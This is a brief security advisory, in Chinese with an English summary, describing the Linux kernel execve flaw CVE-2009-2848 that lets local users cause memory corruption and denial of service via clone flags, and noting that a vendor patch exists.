Linux kernel execve函数本地拒绝服务漏洞

CVECAN ID: CVE-2009-2848 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的execve函数没有清除current-clearchildtid指针，在处理线程创建和退出过程中启用了CLONECHILDSETTID或CLONECHILDCLEARTID的clone系统调用会导致内存破坏。本地攻击者可以利用这个漏洞导致拒绝服务。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Memory corruption

The execve function in the Linux kernel, possibly 2.6.30-rc6 and earlier, does not properly clear the current-clearchildtid pointer, which allows local users to cause a denial of service memory corruption or possibly gain privileges via a clone system call with CLONECHILDSETTID or...
